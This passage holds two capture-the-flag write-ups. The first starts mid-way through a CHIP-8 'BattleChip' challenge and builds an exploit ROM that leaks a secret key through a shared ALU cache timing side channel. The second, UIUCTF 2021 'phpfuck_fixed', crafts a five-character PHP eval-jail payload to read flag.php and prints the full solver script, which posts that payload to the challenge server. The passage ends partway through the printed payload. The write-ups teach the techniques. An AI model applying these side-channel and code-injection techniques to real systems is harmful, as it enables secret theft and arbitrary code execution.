        will be copied at the end of execution in the insecure context.
        The 0xF-th register will contain the value.
    \"""
    [REDACTED]
"""
preco_encrypt = """
6301
62{:02X}
F065
8023
F055
F31E

[...]

62{:02X}
F065
8023
F055
F31E
FFFF
"""
```

Fun fact, back then I totally didn't notice what was written about the number of cycles needed being returned to the insecure context. So we are going to pretend we never read this, as we can solve the challenge without it :^)

```python
"""
def verify_0001(I):
    \"""pre-compiled code

    Xor a buffer of size 10 stores at I with a temporary key.
    The secret key is already defined.

    I is copied from the insecure context

    =>  0xF-th register in the secure context will be copied
        in the insecure context at the end of this routine execution
    \"""
    [REDACTED]
"""
preco_verify  = """
6101
6200

F065
63{:02X}
8303
8231
F11E

[...]


8F20
FFFF
"""
```

We can see in each routine there are 10 `{:02X}`, which are placeholders for the secret key bytes.

Octo (<https://johnearnest.github.io/Octo/>) is a slick online emulator for CHIP-8 that can also compile code and disassemble code in human readable assembly. Let's replace the placeholder secret key bytes with dummy ones (0x42), and disassemble the two routines.

```c
: encrypt
    v3 := 0x01
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
    v2 := 0x42
    load v0
    v0 ^= v2
    save v0
    i += v3
```

As described earlier, the `encrypt` routine does indeed encrypt our input with the secret key using simple XOR operations, one byte at a time.

```c
: verify
    v1 := 0x01
    v2 := 0x00
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    load v0
    v3 := 0x42
    v3 ^= v0
    v2 |= v3
    i += v1
    vF := v2
```

The `verify` routine is quite similar to the `encrypt` one. The main change is that the XOR results are ORed together: if the final result is 0, we know the comparison was successful.

Finally, here is what happens when the `verify` routine returns 1 in `VF` (`cu.py`, control unit code):

```python
se = self.cpu.context.secure_element
se.reset()
se.set_context(
    i=self.cpu.processor.i,
    memory=self.memory.data[self.memory.O_STACK:self.memory.SIZE]
)
flag = se.exc_verify()
self.cpu.processor.v[0xF] = se.cpu.processor.v[0xF]
if self.cpu.processor.v[0xF] == 0:
    if self.cpu.processor.i+10+len(flag) > self.memory.SIZE:
        raise MemoryError("Not enough memory space")
    self.memory.data[self.cpu.processor.i+10:self.cpu.processor.i+10+len(flag)] = flag
```

**If we call verify with the secret key, the flag is copied in unsafe space memory and we will be able to read it.** Our goal is thus to find a way to retrieve the secret key!

## BattleChip: Exploit

As there is only one processor unit, **the ALU cache is shared between the two contexts**.

This means the **number of cycles elapsed during an ALU operation** can act as a binary side channel. If we measure only one cycle instead of two during, for instance, a XOR operation, we know it means it is currently cached.

Just to be sure, let's check out how the cache is implemented inside the emulator (`alu.py`):

```python
def request(func):
    wanted = None
    @functools.wraps(func)
    def wrapper(*args, **kwargs):
        nonlocal wanted
        if wanted is not None:
            ret = ALU.Status.AVAILABLE, wanted
            wanted = None
            return ret
        misses = func.cache_info().misses
        ret = func(*args, **kwargs)
        if func.cache_info().misses == misses:
            return ALU.Status.AVAILABLE, ret
        wanted = ret
        return ALU.Status.PENDING, (None, None)
    return wrapper

[...]

@request
@functools.lru_cache(maxsize=16)
def xor(self, a, b):
    return a ^ b, 0
```

An actual LRU cache from `functools` is used, with max size 16. The ALU has two possible states: `AVAILABLE` or `PENDING`. In `cu.py`:

```python
state, result = self.cpu.alu.xor(self.cpu.processor.v[x], self.cpu.processor.v[y])
if state == self.cpu.alu.Status.PENDING:
    self.pc -= 2
else:
    self.cpu.processor.v[x], unused = result
```

If the ALU is in the `PENDING` state, the `PC` register is rolled back two bytes, in other words the instruction is executed twice, and the next time it'll have switched to the `AVAILABLE` state. However, when the operation is cached, the ALU doesn't enter the `PENDING` state.

With this in mind, it is fairly easy to **leak information about the secret key** during the `encrypt` routine.

Denote `P[k] = (0, ..., 0xFF, ..., 0)` (10 bytes) with `0xFF` at the k-th position.

We are going to ask the trusted context to perform `P xor S`, where `S` is the secret key, by putting `P` at position `I` and calling `0000`. In particular, the operation `0xFF xor S[k]` will be performed and put in cache. We can then **bruteforce** `S[k]` by computing `0xFF xor i` for `i` in \[0, 255] and **counting the number of cycles** each of these XOR operations lasted.

Of course, we should reset the cache with the `00E1` instruction at each iteration to avoid any problems. This allows us to recover the secret key in 2560 encryptions worst case, but it will run pretty fast anyways since everything is run server-side (we'll just send our ROM exploit once).

CHIP-8 has two useful instructions for counting cycles, thanks to the **timer**:

```
FX07
    Vx = get_delay()
    Sets VX to the value of the delay timer.

FX15
    delay_timer(Vx)
    Sets the delay timer to VX.
```

The *delay timer* is simply a value that is decremented each cycle (and stays at 0 once it reaches it). So if we set the delay timer to some arbitrary value before performing a XOR operation, and then retrieve the value of the delay timer right after, we can use this latter value to know whether the operation was cached.

We have everything to build our exploit ROM. The following code is my commented exploit.

```
; I pointing to stack (copied in privileged context)
0xae 0xa0
; v1 = 1 (useful for increments)
0x61 0x01

; Set the first 10 bytes of memory to 0
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e
0x60 0x00
0xf0 0x55
0xf1 0x1e

0x62 0x00
; v2 = 0 <= k < 10 counter

  ; Set byte at index k to 0xFF
  0xAE 0xA0
  0xF2 0x1E
  0x60 0xFF
  0xF0 0x55

  0x63 0x00
  ; v3 = 0 <= i < 256 counter

    ; Clear cache and call encrypt
    0x00 0xE1
    0xAE 0xA0
    0x00 0x00

    ; Measure number of cycles of operation 0xFF ^ i 
    0x65 0x08
    0x66 0xFF
    0xF5 0x15
    0x86 0x33
    0xF0 0x07

    ; Display elapsed timer (debugging purposes :))
    0xAF 0x80
    0xF0 0x55
    0x68 0x00
    0x69 0x00
    0xD8 0x9F

    ; v0 = 6 => fewer cycles than expected, break
    0x40 0x06
    0x12 0x70

    ; Increment i
    0x73 0x01    

    ; Loop if i != 0 (to 0x24C)
    0x33 0x00
    0x12 0x4C

  ; Save the byte we found at address 0xF00 + k
  0xAF 0x00
  0xF2 0x1E
  0x80 0x30
  0xF0 0x55

  ; Reset the byte at index k
  0xAE 0xA0
  0xF2 0x1E
  0x60 0x00
  0xF0 0x55

  ; Increment k
  0x72 0x01

  ; Loop if k != 10 (to 0x242)
  0x32 0x0A
  0x12 0x42

; End of the brute-force

; Call verify with the secret we found
0xAF 0x00
0x00 0x01

; Flag should be copied at address I+10. Dump it!
0xAF 0x0A
0x68 0x00
0x69 0x00
0xD8 0x9F

; Exit
0xFF 0xFF
```

Exploit ROM in hexadecimal : `aea061016000f055f11e6000f055f11e6000f055f11e6000f055f11e6000f055f11e6000f055f11e6000f055f11e6000f055f11e6000f055f11e6000f055f11e6200aea0f21e60fff055630000e1aea00000650866fff5158633f007af80f05568006900d89f4006127073013300124caf00f21e8030f055aea0f21e6000f0557201320a1242af000001af146800690ad89f`

Send it to the server and enjoy the show!

![](/files/-MZmxVcdDVSaXQqsfbZq)


# UIUCTF 2021

July 31 - August 2

I participated with **ECSC Team France** (team composed of finalists from FCSC 2021 to play the European Cyber Security Challenge) and we got 4th place.


# phpfuck\_fixed

## Description

*i really really hate php...*

<http://phpfuck-fixed.chal.uiuc.tf>

## Understanding the problem

**phpfuck\_fixed** was a task from the UIUCTF 2021 that had the appearance of a classic jail challenge.

```php
<?php
// Flag is inside ./flag.php :)
($x=str_replace("`","",strval($_REQUEST["x"])))&&strlen(count_chars($x,3))<=5?print(eval("return $x;")):show_source(__FILE__)&&phpinfo();
```

The goal is clear: read the flag hidden inside `flag.php`. In order to achieve that, we can send a payload that will be evaluated, if and only if it uses up to only **5 distinct characters** in total.

Doing a bit of research, we become aware there exists a [**PHPfuck**](https://github.com/splitline/PHPFuck) tool, which, similarly to other tools of this kind (such as [JSfuck](https://github.com/aemkei/jsfuck)), allows to convert any PHP script into a script that runs the same but with only **7 distinct characters**.

At this point, there are two plausible options:

* There's a way, in the challenge, to somehow bypass this restriction
* The author actually wants us to push the concept of *PHPfuck* to the extreme :)

More research about such puzzles does not yield anything interesting; it seems like 7 characters really is the lowest amount of characters for which there exists a public proof of concept (at the moment of the CTF of course).

Likewise, we are unable to find any workaround to the `count_chars` condition. We're gonna need to get creative!

This challenge lived an entire day without a solve, which led the organizers to release a hint: **`(^.9)`**.

From this hint, we understand the author's solution uses this charset (but there are probably other solutions... what's so special about 9 anyways? :^)).

I will present my solution which also uses this charset. Although I have seen other solutions that are much simpler, I think sharing my resolution approach is still interesting.

## Gathering primitives

So what can we do with these characters: `(^.9)` ?

Parenthesis will obviously be used for function calling; there's no other way we would achieve it without them.

`^` is the **XOR** operator, and `.` the **concatenation** operator, which can also be used for defining **floating numbers**.

Afraid of missing anything important, I checked out the actual [PHP grammar (Zend Engine)](https://github.com/php/php-src/blob/master/Zend/zend_language_parser.y) to see whether these two characters could be used in any other context. We can see `.` can also be used for *ellipsis* (`...`), which is used in function calls and definitions (though this will not prove to be useful for us). Other than that, we are free to go!

Let's perform some tests to assess what we can easily reach with the suggested charset.

* `9`, `99`, `999`...: integers with "9".
* `.9`, `9.9`, `9.99`: floats with "9", including "0.9".
* `999999999999999999...` (with enough nines): "1.0E+1500" (for instance) – scientific notation for large floats.
* `999999999999999999...` (with even more nines): "INF" (float).

We can use `.` to cast these into strings:

* `(9).(9)`: string "99"
* `(9999999999999...).(9)`: string "INF9"
* `(.9).(9)`: string "0.99"

However, we notice we are not able yet to generate a string of length 1.

What about XOR? We can basically perform two kinds of operations:

* XOR between integers: `9^99` yields 106.
* XOR between strings: `((9).(9))^((9).(9))` yields `"\x00\x00"` (two null bytes).

Newly generated numbers can be XORed again or cast into strings, etc.

We start noticing something very annoying: since in PHP, XORing two strings results in a string of length minimum of the length of these two strings (null-byte padding), we will never be able to generate a string of length 1 with XOR without already having one.

So either we find a way to easily get a length-1 string (I couldn't find one), or we will have to **start generating payloads using strings of length 2** or more.

With this in mind, I gathered a few primitive expressions and started coding.

## Generating length-2 strings

My first goal was to generate the largest amount of length-2 strings that I could using my primitive expressions.

```python
primitives = {
    (0, 0): "(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x09, 0x17): "((.9).(9)^(9).(9))",
    (0x30, 0x2e): "(.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x2e): "(9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x30): "((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x35, 0x37): "((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x31, 0x2e): "((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (73, 78): "((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x30): "((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x00): "(9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
}

primitives_int = {
    9: "9",
    99: "99",
}
```

The idea is to keep track of:

* a set of the length-2 strings I am able to generate;
* a set of the integers I am able to generate.

Then at each iteration, I try to generate new elements (length-2 strings or integers) using my two sets, using XORs and string casting.

Once I am unable to generate any new element anymore, the search stops and I have a **list of all the length-2 strings I can reach**.

My full code will be included at the end of the write-up. Caution: it's not very pretty.

As I did not have enough primitives, I could not reach every pair of bytes (not even every pair of printable ASCII characters), but I had enough to start crafting interesting payloads.

Thanksfully, PHP is lax enough to allow calling functions in a case-insensitive fashion (such as `fIle_gEt_CoNTENtS()`).

My final goal was to call `readfile("flag.php")`. Luckily, I was able to generate the string `reAdFiLe` with my pairs.

However, the hardest part is to generate a string for `flag.php`, since it is case sensitive.

## Generating length-1 strings

I didn't manage to generate enough pairs to reach the string `flag.php`, so I decided to try to generate **length-1 strings** instead.

Indeed, once we know how to generate a length-1 string, we instantly have an arbitrary string primitive (char by char).

There are many ways to do it; mine was to use the `trim` function. I knew how to generate the pairs `tr`, `Im` and `"> "` (ends with a space). By calling `trIm("> ")`, *trim* gets rid of the space and we get the string `">"` of length 1.

We can then generate a length-1 null byte string:

```python
trim = conv_string_even("trIm")
truc = conv_string_even("> ")
one_byte = trim + "(" + truc + ")"
null_byte = one_byte + "^" + one_byte
```

## Final payload

At this point, I wanted to find a quick way to finish the challenge without too much pain.

Therefore, I didn't go to the extent of trying to get an "arbitrary PHP script execution", like the original *PHPfuck* tool can do, although it is clearly doable.

Instead, I just wanted to generate the `flag.php` string to call `readfile` and get the flag.

However, I didn't have enough primitives from the start, so there were a few chars that I had struggle generating, such as the `"."` (or maybe there's a flaw in my algorithm?).

My final payload is thus slightly more convoluted:

```python
strtolower = conv_string_even("strtOlOwEr")
readfile = conv_string_even("reAdFiLe")

payload = (
    readfile+"(" +
    strtolower + "(" +
    conv_string_even("FlAg") + "." +
    "(" + trim + "(" + conv_string_even("\t.") + "))" + "." +
    conv_string_even("ph") + "." +
    conv_string("p")
    + ")"
    + ")"
)
```

`conv_string_even` is the original conversion function that works on pairs of characters. `conv_string` looks for a position-0 character in the pairs I know how to generate and uses XOR with the length-1 null byte to cut the pair.

The final payload is 36374 bytes. This is way too big to be passed through a GET parameter. Thanksfully, the challenge uses `$_REQUEST`, which means we can send our payload through POST and get the flag!

```
<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
No flag for you!
70
```

Here's the full script along with the final payload, for your eyes only:

```python
import requests

primitives = {
    (0, 0): "(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x09, 0x17): "((.9).(9)^(9).(9))",
    (0x30, 0x2e): "(.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x2e): "(9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x30): "((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x35, 0x37): "((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x31, 0x2e): "((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (73, 78): "((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x30): "((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
    (0x39, 0x00): "(9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
}

primitives_int = {
    9: "9",
    99: "99",
}

I = set(primitives.keys())
K = set(primitives_int.keys())

D = {}
D_int = {}

while True:
    old_len = len(I)
    old_len2 = len(K)
    J = set(I)
    L = set(K)
    for p, q in I:
        for r, s in I:
            t = (p ^ r, q ^ s)
            if t not in J:
                print(
                    f"(0x{p:02x}, 0x{q:02x}) ^ (0x{r:02x}, 0x{s:02x}) = (0x{t[0]:02x}, 0x{t[1]:02x})")
                J.add(t)
                D[t] = ((p, q), (r, s))
                if t[0] in range(0x31, 0x3a) and t[1] in range(0x30, 0x3a):
                    n = 10 * (t[0] - 0x30) + (t[1] - 0x30)
                    if n not in K:
                        K.add(n)
                        D_int[n] = ((p, q), (r, s), "string")
    L = set(K)
    for p, q in I:
        for c in K:
            c_ = str(c)
            if len(c_) < 2:
                continue
            r, s = ord(c_[0]), ord(c_[1])
            t = (p ^ r, q ^ s)
            if t not in J:
                print(
                    f"(0x{p:02x}, 0x{q:02x}) ^ (0x{r:02x}, 0x{s:02x}) = (0x{t[0]:02x}, 0x{t[1]:02x})")
                J.add(t)
                D[t] = ((p, q), (r, s), "int")  # tag (r, s) as int
    L = set(K)
    for a in K:
        for b in K:
            c = a ^ b
            if c not in L:
                print(f"{a} ^ {b} = {c} -> '{str(c)[:2]}'")
                L.add(c)
                D_int[c] = (a, b)
    if len(J) == old_len and len(L) == old_len2:
        break
    I = set(J)
    K = set(L)

J = list(J)
J.sort()
J = J[::-1]

print('\n'.join(repr(bytes(x)) for x in J))
print(', '.join(str(x) for x in L))
print()


def flatten(term, type="string"):
    if term not in D.keys() and type == "string":
        return primitives[term]
    if term not in D_int.keys() and type == "int":
        return primitives_int[term]

    if type == "string":
        Q_is_int = False
        if len(D[term]) == 3 and D[term][2] == "int":
            Q_is_int = True
        P, Q = D[term][:2]
        P_ = flatten(P)
        if Q_is_int:
            Q_ = flatten(10 * (Q[0] - 0x30) + (Q[1] - 0x30), type="int")
        else:
            Q_ = flatten(Q)
        if P_ is None:
            P_ = repr(P)
        if Q_ is None:
            Q_ = repr(Q)
        return f"({P_})^(({Q_}).(.9))"

    if type == "int":
        are_strings = False
        if len(D_int[term]) == 3 and D_int[term][2] == "string":
            are_strings = True
        P, Q = D_int[term][:2]
        P_ = flatten(P, type=("string" if are_strings else "int"))
        Q_ = flatten(Q, type=("string" if are_strings else "int"))
        xor_0 = "" if are_strings else "^(9^9)"
        return f"({P_}{xor_0})^({Q_}{xor_0})"


def conv_string_even(s):
    assert len(s) % 2 == 0
    out = ""
    for i in range(0, len(s), 2):
        pair = (ord(s[i]), ord(s[i + 1]))
        out += "(" + flatten(pair) + ")" + "."
    return "("+out[:-1]+")"


trim = conv_string_even("trIm")
truc = conv_string_even("> ")
one_byte = trim + "(" + truc + ")"
null_byte = one_byte + "^" + one_byte

# exec = conv_string_even("ExEc")
strtolower = conv_string_even("strtOlOwEr")
readfile = conv_string_even("reAdFiLe")


def conv_string(s):
    global null_byte
    out = ""
    for char in s:
        found = False
        for pair in D.keys():
            if pair[0] == ord(char):
                found = True
                break
        if not found:
            print(f"Could not find {ord(char)} :(")
            return
        out += flatten(pair) + "^" + null_byte + "."
    return "(" + out[:-1] + ")"


payload = (
    readfile+"(" +
    strtolower + "(" +
    conv_string_even("FlAg") + "." +
    "(" + trim + "(" + conv_string_even("\t.") + "))" + "." +
    conv_string_even("ph") + "." +
    conv_string("p")
    + ")"
    + ")"
)

print(payload)
assert len(set(payload)) <= 5
print(len(payload))

url = "http://phpfuck-fixed.chal.uiuc.tf/"

r = requests.post(url, data={"x": payload}).text
print(r)

"""
((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))).(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((9^(9^9))^(99^(9^9))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9